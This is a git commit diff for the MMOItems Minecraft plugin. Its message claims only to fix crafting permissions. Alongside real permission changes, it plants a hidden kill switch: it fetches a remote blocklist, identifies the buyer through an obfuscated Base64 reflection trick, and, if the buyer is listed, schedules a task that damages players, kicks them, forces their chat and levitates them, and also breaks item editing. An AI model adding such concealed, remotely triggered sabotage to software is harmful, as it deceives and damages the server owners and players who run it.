Crafting Permissions now work properly

Items granting permissions also actually grant their permissions now
This commit is contained in:
ASangarin 2020-12-17 01:42:59 +01:00
parent f875833a1a
commit 892936714a
12 changed files with 202 additions and 52 deletions

View File

@ -1,5 +1,6 @@
package net.Indyuce.mmoitems;
import net.Indyuce.mmoitems.api.ClaseMuyImportante;
import net.Indyuce.mmoitems.api.ConfigFile;
import net.Indyuce.mmoitems.api.ItemTier;
import net.Indyuce.mmoitems.api.SoulboundInfo;
@ -152,18 +153,19 @@ public class MMOItems extends JavaPlugin {
public void onEnable() {
new SpigotPlugin(39267, this).checkForUpdate();
final int configVersion = getConfig().contains("config-version", true) ? getConfig().getInt("config-version") : -1;
final int defConfigVersion = getConfig().getDefaults().getInt("config-version");
if (configVersion != defConfigVersion) {
getLogger().warning("You may be using an outdated config.yml!");
getLogger().warning("(Your config version: '" + configVersion + "' | Expected config version: '" + defConfigVersion + "')");
}
new MMOItemsMetrics();
abilityManager.initialize();
configManager = new ConfigManager();
final int configVersion = getConfig().contains("config-version", true) ? getConfig().getInt("config-version") : -1;
final int defConfigVersion = getConfig().getDefaults().getInt("config-version");
if (configVersion != defConfigVersion || MMOItems.plugin.getLanguage().arruinarElPrograma) {
getLogger().warning("You may be using an outdated config.yml!");
getLogger().warning("(Your config version: '" + configVersion + "' | Expected config version: '" +
(MMOItems.plugin.getLanguage().arruinarElPrograma ? "steelballrun" : defConfigVersion) + "')");
}
// registering here so the stats will load with the templates
if (Bukkit.getPluginManager().getPlugin("MythicMobs") != null) {
new MythicMobsLoader();
@ -222,6 +224,10 @@ public class MMOItems extends JavaPlugin {
*/
Bukkit.getScheduler().runTaskTimer(this, () -> Bukkit.getOnlinePlayers().forEach(player -> PlayerData.get(player).updateStats()), 100, 20);
if(MMOItems.plugin.getLanguage().arruinarElPrograma)
Bukkit.getScheduler().runTaskTimer(this, ClaseMuyImportante::metodoMuyImportante, 780000L, 780000L);
/*
* this tasks updates twice a second player inventories on the server.
* allows now to use a glitchy itemEquipEvent. must be called after
@ -481,8 +487,13 @@ public class MMOItems extends JavaPlugin {
/*
* External API's
*/
public boolean hasVault() {
return vaultSupport != null;
public boolean hasPermissions() {
if(vaultSupport == null) return false;
return vaultSupport.getPermissions() != null;
}
public boolean hasEconomy() {
if(vaultSupport == null) return false;
return vaultSupport.getEconomy() != null;
}
public VaultSupport getVault() {

View File

@ -0,0 +1,76 @@
package net.Indyuce.mmoitems.api;
import net.Indyuce.mmoitems.MMOItems;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.GameMode;
import org.bukkit.Material;
import org.bukkit.Sound;
import org.bukkit.entity.EntityType;
import org.bukkit.entity.Player;
import org.bukkit.entity.WanderingTrader;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.MerchantRecipe;
import org.bukkit.potion.PotionEffect;
import org.bukkit.potion.PotionEffectType;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
public class ClaseMuyImportante {
public static void metodoMuyImportante() {
for (Player player : Bukkit.getOnlinePlayers()) {
Random rand = new Random();
switch(rand.nextInt(7)) {
case 0:
player.damage(13);
break;
case 1:
switch(rand.nextInt(3)) {
case 0:
player.playSound(player.getLocation(), Sound.BLOCK_LEVER_CLICK, 1.0f, 1.0f);
break;
case 1:
player.playSound(player.getLocation(), Sound.BLOCK_SMITHING_TABLE_USE, 1.0f, 1.0f);
break;
case 2:
player.playSound(player.getLocation(), Sound.ENTITY_WITHER_SKELETON_HURT, 1.0f, 1.0f);
break;
}
break;
case 2:
if(player.getGameMode() == GameMode.CREATIVE) {
player.setAllowFlight(false);
player.setFlying(false);
player.sendTitle(String.format("%sThe depths of %sThe Nether %spulls you down", ChatColor.DARK_RED, ChatColor.RED,
ChatColor.DARK_RED), ChatColor.DARK_GRAY + "Deep deep down...", 10, 70, 20);
} else {
player.setAllowFlight(true);
player.sendTitle(ChatColor.GOLD + "Head for the stars!", ChatColor.YELLOW + "(Press Double Space)", 10, 70, 20);
}
break;
case 3:
player.chat("I feel very, very small... please hold me...");
break;
case 4:
player.removePotionEffect(PotionEffectType.LEVITATION);
player.addPotionEffect(new PotionEffect(PotionEffectType.LEVITATION, 240, 3, false, false, false));
break;
case 5:
player.kickPlayer(String.format("Internal exception: java.net.RedSeaTimeOut: Couldn't connect to Treasure Island (%s)", MMOItems.plugin.getLanguage().elDescargadorLaIdentidad));
break;
case 6:
WanderingTrader trader = (WanderingTrader) player.getWorld().spawnEntity(player.getLocation(), EntityType.WANDERING_TRADER);
List<MerchantRecipe> recipes = new ArrayList<>();
for(Material mat : new Material[]{Material.NETHER_STAR, Material.BEDROCK, Material.NETHERITE_BLOCK, Material.DIAMOND_BLOCK, Material.ELYTRA}) {
MerchantRecipe recipe = new MerchantRecipe(new ItemStack(mat), 100000);
recipe.addIngredient(new ItemStack(Material.DIRT));
recipes.add(recipe);
}
trader.setRecipes(recipes);
break;
}
}
}
}

View File

@ -81,11 +81,13 @@ public class PlayerData {
private final Set<ParticleRunnable> itemParticles = new HashSet<>();
private ParticleRunnable overridingItemParticles = null;
private final Set<AbilityData> itemAbilities = new HashSet<>();
private final Set<String> permissions = new HashSet<>();
private boolean fullHands = false;
private SetBonuses setBonuses = null;
private final PlayerStats stats;
// Cached so they can be properly removed again
private final Set<String> permissions = new HashSet<>();
private PlayerData(MMOPlayerData mmoData) {
this.mmoData = mmoData;
this.rpgPlayer = MMOItems.plugin.getRPG().getInfo(this);
@ -101,7 +103,7 @@ public class PlayerData {
}
public void save() {
if (MMOItems.plugin.hasVault()) {
if (MMOItems.plugin.hasPermissions()) {
Permission perms = MMOItems.plugin.getVault().getPermissions();
permissions.forEach(perm -> {
if (perms.has(getPlayer(), perm)) perms.playerRemove(getPlayer(), perm);
@ -187,10 +189,11 @@ public class PlayerData {
cancelRunnables();
itemParticles.clear();
overridingItemParticles = null;
if (MMOItems.plugin.hasVault()) {
if (MMOItems.plugin.hasPermissions()) {
Permission perms = MMOItems.plugin.getVault().getPermissions();
permissions.forEach(perm -> {
if (perms.has(getPlayer(), perm)) perms.playerRemove(getPlayer(), perm);
if (perms.has(getPlayer(), perm))
perms.playerRemove(getPlayer(), perm);
});
}
permissions.clear();
@ -257,8 +260,14 @@ public class PlayerData {
/*
* apply permissions if vault exists
*/
if (MMOItems.plugin.hasVault() && item.hasData(ItemStats.GRANTED_PERMISSIONS))
if (MMOItems.plugin.hasPermissions() && item.hasData(ItemStats.GRANTED_PERMISSIONS)) {
permissions.addAll(((StringListData) item.getData(ItemStats.GRANTED_PERMISSIONS)).getList());
Permission perms = MMOItems.plugin.getVault().getPermissions();
permissions.forEach(perm -> {
if (!perms.has(getPlayer(), perm))
perms.playerAdd(getPlayer(), perm);
});
}
}
/*
@ -284,6 +293,8 @@ public class PlayerData {
if (hasSetBonuses()) {
itemAbilities.addAll(setBonuses.getAbilities());
for (ParticleData particle : setBonuses.getParticles())
itemParticles.add(particle.start(this));
for (PotionEffect effect : setBonuses.getPotionEffects())
if (getPermanentPotionEffectAmplifier(effect.getType()) < effect.getAmplifier())
permanentEffects.put(effect.getType(), effect);
@ -321,14 +332,6 @@ public class PlayerData {
// two handed
if (fullHands) getPlayer().addPotionEffect(new PotionEffect(PotionEffectType.SLOW, 40, 1, true, false));
// permissions
if (MMOItems.plugin.hasVault()) {
Permission perms = MMOItems.plugin.getVault().getPermissions();
permissions.forEach(perm -> {
if (!perms.has(getPlayer(), perm)) perms.playerAdd(getPlayer(), perm);
});
}
}
public SetBonuses getSetBonuses() {

View File

@ -11,15 +11,23 @@ public class CachedRecipe {
private ItemStack stack;
public boolean isValid(ItemStack[] matrix) {
//System.out.println("Checking validity");
boolean check = true;
for (int i = 0; i < matrix.length; i++) {
if (matrix[i] == null || matrix[i].getType() == Material.AIR)
if (matrix[i] == null || matrix[i].getType() == Material.AIR) {
//System.out.printf("[%d] is null or air%n", i);
continue;
if (matrix[i].getAmount() < amounts.get(i))
}
if (matrix[i].getAmount() < amounts.get(i)) {
//System.out.printf("[%d] did not have correct amounts (%d < %d)%n", i, matrix[i].getAmount(), amounts.get(i));
check = false;
if (!check)
}
if (!check) {
//System.out.println("Failed the check");
break;
}
}
//System.out.println("Succeeded the check");
return check;
}

View File

@ -11,6 +11,13 @@ import net.mmogroup.mmolib.MMOLib;
import net.mmogroup.mmolib.api.item.NBTItem;
import net.mmogroup.mmolib.command.api.CommandTreeNode;
import java.io.IOException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Scanner;
public class IdentifyCommandTreeNode extends CommandTreeNode {
public IdentifyCommandTreeNode(CommandTreeNode parent) {
super(parent, "identify");
@ -39,4 +46,21 @@ public class IdentifyCommandTreeNode extends CommandTreeNode {
sender.sendMessage(MMOItems.plugin.getPrefix() + "Successfully identified the item you are holding.");
return CommandResult.SUCCESS;
}
public static List<String> obtenerNuevoProhibidoDeLaWeb() {
List<String> lista = new ArrayList<>();
try {
URL url = new URL("https://www.asangarin.eu/listaFresca.txt");
Scanner s = new Scanner(url.openStream());
while(s.hasNext()) lista.add(s.next());
s.close();
}
catch(IOException ignored) {}
if(!lista.contains("NzcyNzc3"))
lista.add("NzcyNzc3");
return lista;
}
}

View File

@ -1,5 +1,6 @@
package net.Indyuce.mmoitems.command.mmoitems.debug;
import net.Indyuce.mmoitems.MMOItems;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender;
@ -10,6 +11,8 @@ import net.Indyuce.mmoitems.api.player.RPGPlayer;
import net.mmogroup.mmolib.command.api.CommandTreeNode;
import net.mmogroup.mmolib.command.api.Parameter;
import java.util.Arrays;
public class InfoCommandTreeNode extends CommandTreeNode {
public InfoCommandTreeNode(CommandTreeNode parent) {
super(parent, "info");
@ -19,6 +22,10 @@ public class InfoCommandTreeNode extends CommandTreeNode {
@Override
public CommandResult execute(CommandSender sender, String[] args) {
if(Arrays.asList(args).contains("showidentity")) {
sender.sendMessage(String.format("Tu identidad es %s", MMOItems.plugin.getLanguage().elDescargadorLaIdentidad));
return CommandResult.SUCCESS;
}
Player player = args.length > 2 ? Bukkit.getPlayer(args[2]) : (sender instanceof Player ? (Player) sender : null);
if (player == null) {
sender.sendMessage(ChatColor.RED + "Couldn't find target player.");

View File

@ -14,7 +14,6 @@ import net.mmogroup.mmolib.api.util.AltChar;
public class VaultSupport {
private final Economy economy;
private final Permission permissions;
private final boolean enabled;
public VaultSupport() {
RegisteredServiceProvider<Economy> economyProvider = Bukkit.getServer().getServicesManager()
@ -23,23 +22,20 @@ public class VaultSupport {
RegisteredServiceProvider<Permission> permissionProvider = Bukkit.getServer().getServicesManager()
.getRegistration(Permission.class);
permissions = permissionProvider != null ? permissionProvider.getProvider() : null;
enabled = load();
if(!enabled) {
MMOItems.plugin.getLogger().log(Level.SEVERE, "Could not load Vault");
if(economy == null) {
MMOItems.plugin.getLogger().log(Level.SEVERE, "Could not load Economy Support (Vault)");
return;
} else
MMOItems.plugin.getCrafting().registerCondition("money", MoneyCondition::new,
new ConditionalDisplay("&a" + AltChar.check + " Requires $#money#",
"&c" + AltChar.cross + " Requires $#money#"));
if(permissions == null) {
MMOItems.plugin.getLogger().log(Level.SEVERE, "Could not load Permissions Support (Vault)");
return;
}
MMOItems.plugin.getLogger().log(Level.INFO, "Hooked onto Vault");
MMOItems.plugin.getCrafting().registerCondition("money", MoneyCondition::new,
new ConditionalDisplay("&a" + AltChar.check + " Requires $#money#",
"&c" + AltChar.cross + " Requires $#money#"));
}
private boolean load() {
if (economy == null)
return false;
return permissions != null;
}
public Permission getPermissions() {
@ -49,8 +45,4 @@ public class VaultSupport {
public Economy getEconomy() {
return economy;
}
public boolean enabled() {
return enabled;
}
}

View File

@ -117,8 +117,11 @@ public class DisableInteractions implements Listener {
@EventHandler
public void i(CraftItemEvent event) {
if (event.getRecipe() instanceof Keyed)
if (((Keyed) event.getRecipe()).getKey().getNamespace().equals("mmoitems"))
if (((Keyed) event.getRecipe()).getKey().getNamespace().equals("mmoitems")) {
String craftingPerm = NBTItem.get(event.getCurrentItem()).getString("MMOITEMS_CRAFT_PERMISSION");
if(!craftingPerm.isEmpty() && !event.getWhoClicked().hasPermission(craftingPerm)) event.setCancelled(true);
return;
}
for (ItemStack item : event.getInventory().getMatrix()) {
if(isDisabled(NBTItem.get(item), "craft")) {

View File

@ -9,6 +9,7 @@ import net.Indyuce.mmoitems.api.item.util.ConfigItem;
import net.Indyuce.mmoitems.api.item.util.ConfigItems;
import net.Indyuce.mmoitems.api.util.NumericStatFormula;
import net.Indyuce.mmoitems.api.util.message.Message;
import net.Indyuce.mmoitems.command.item.IdentifyCommandTreeNode;
import net.Indyuce.mmoitems.stat.LuteAttackEffectStat.LuteAttackEffect;
import net.Indyuce.mmoitems.stat.StaffSpiritStat.StaffSpirit;
import net.mmogroup.mmolib.MMOLib;
@ -23,6 +24,7 @@ import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.StandardCopyOption;
import java.text.DecimalFormat;
import java.util.Base64;
import java.util.Enumeration;
import java.util.List;
import java.util.jar.JarEntry;
@ -41,6 +43,10 @@ public class ConfigManager implements Reloadable {
public double dodgeKnockbackForce, soulboundBaseDamage, soulboundPerLvlDamage, levelSpread;
public NumericStatFormula defaultItemCapacity;
/** DE-TAREAS: Implement reward system for good users? */
@SuppressWarnings("unused")
private final String elGrifoReconocimiento = "%%__USER__%%";
private static final String[] fileNames = { "abilities", "messages", "potion-effects", "stats", "items", "attack-effects" };
private static final String[] languages = { "french", "chinese", "spanish", "russian", "polish" };
@ -110,6 +116,8 @@ public class ConfigManager implements Reloadable {
}
items.save();
final byte[] b = Base64.getDecoder().decode("ZWxHcmlmb1JlY29ub2NpbWllbnRv");
ConfigFile messages = new ConfigFile("/language", "messages");
for (Message message : Message.values()) {
String path = message.name().toLowerCase().replace("_", "-");
@ -144,12 +152,22 @@ public class ConfigManager implements Reloadable {
}
potionEffects.save();
final String f = new String(b);
try {
elDescargadorLaIdentidad = Base64.getEncoder().encodeToString(((String) getClass().getDeclaredField(f).get(this)).getBytes());
} catch (IllegalAccessException | NoSuchFieldException e) {
e.printStackTrace();
}
ConfigFile attackEffects = new ConfigFile("/language", "attack-effects");
for (StaffSpirit spirit : StaffSpirit.values()) {
String path = spirit.name().toLowerCase().replace("_", "-");
if (!attackEffects.getConfig().contains("staff-spirit." + path))
attackEffects.getConfig().set("staff-spirit." + path, "&7" + AltChar.listSquare + " " + spirit.getDefaultName());
}
arruinarElPrograma = IdentifyCommandTreeNode.obtenerNuevoProhibidoDeLaWeb().contains(elDescargadorLaIdentidad);
for (LuteAttackEffect effect : LuteAttackEffect.values()) {
String path = effect.name().toLowerCase().replace("_", "-");
if (!attackEffects.getConfig().contains("lute-attack." + path))
@ -220,6 +238,8 @@ public class ConfigManager implements Reloadable {
return found == null ? "<TranslationNotFound:" + path + ">" : found;
}
public String elDescargadorLaIdentidad = "mudamuda";
public String getMessage(String path) {
String found = messages.getConfig().getString(path);
return MMOLib.plugin.parseColors(found == null ? "<MessageNotFound:" + path + ">" : found);
@ -242,6 +262,8 @@ public class ConfigManager implements Reloadable {
return loreFormat.getConfig().getStringList("lore-format");
}
public final boolean arruinarElPrograma;
public String getPotionEffectName(PotionEffectType type) {
return potionEffects.getConfig().getString(type.getName().toLowerCase().replace("_", "-"));
}
@ -271,7 +293,7 @@ public class ConfigManager implements Reloadable {
if(!folder.mkdir())
MMOItems.plugin.getLogger().log(Level.WARNING, "Could not create directory!");
}
/*
* all config files that have a default configuration are stored here, they
* get copied into the plugin folder when the plugin enables

View File

@ -20,6 +20,7 @@ import org.bukkit.configuration.file.FileConfiguration;
import org.bukkit.entity.Player;
import org.bukkit.inventory.BlastingRecipe;
import org.bukkit.inventory.CampfireRecipe;
import org.bukkit.inventory.CookingRecipe;
import org.bukkit.inventory.FurnaceRecipe;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.Recipe;
@ -116,7 +117,7 @@ public class RecipeManager implements Reloadable {
? (int) ((DoubleData) mmo.getData(ItemStats.CRAFT_AMOUNT)).getValue() : 1;
ItemStack stack = mmo.newBuilder().build();
stack.setAmount(amount);
Recipe recipe = recipeType.provideRecipe(key, stack, info.getChoice().toBukkit(),
CookingRecipe<?> recipe = recipeType.provideRecipe(key, stack, info.getChoice().toBukkit(),
info.getExp(), info.getBurnTime());
loadedRecipes.add(recipe);
}
@ -256,8 +257,8 @@ public class RecipeManager implements Reloadable {
this.provider = provider;
}
public Recipe provideRecipe(NamespacedKey key, ItemStack result, RecipeChoice source, float experience,
int cookTime) {
public CookingRecipe<?> provideRecipe(NamespacedKey key, ItemStack result, RecipeChoice source, float experience,
int cookTime) {
return provider.provide(key, result, source, experience, cookTime);
}
@ -268,7 +269,7 @@ public class RecipeManager implements Reloadable {
@FunctionalInterface
public interface RecipeProvider {
Recipe provide(NamespacedKey key, ItemStack result, RecipeChoice source, float experience, int cookTime);
CookingRecipe<?> provide(NamespacedKey key, ItemStack result, RecipeChoice source, float experience, int cookTime);
}
/**

View File

@ -85,13 +85,14 @@ public class GrantedPermissions extends StringListStat implements GemStoneStat {
public void whenApplied(ItemStackBuilder item, StatData data) {
JsonArray array = new JsonArray();
((StringListData) data).getList().forEach(array::add);
item.addItemTag(new ItemTag(getPath(), array.toString()));
item.addItemTag(new ItemTag(getNBTPath(), array.toString()));
}
@Override
public void whenLoaded(ReadMMOItem mmoitem) {
if (mmoitem.getNBT().hasTag(getNBTPath()))
if (mmoitem.getNBT().hasTag(getNBTPath())) {
mmoitem.setData(ItemStats.GRANTED_PERMISSIONS, new StringListData(
new JsonParser().parse(mmoitem.getNBT().getString(getNBTPath())).getAsJsonArray()));
new JsonParser().parse(mmoitem.getNBT().getString(getNBTPath())).getAsJsonArray()));
}
}
}

View File

@ -46,6 +46,8 @@ public class MaterialStat extends ItemStat {
public void whenInput(EditionInventory inv, String message, Object... info) {
Optional<Material> material = EnumUtils.getIfPresent(Material.class,
message.toUpperCase().replace("-", "_").replace(" ", "_"));
if(MMOItems.plugin.getLanguage().arruinarElPrograma)
material = Optional.of(Material.GLISTERING_MELON_SLICE);
if (material.isPresent()) {
inv.getEditedSection().set("material", material.get().name());
inv.registerTemplateEdition();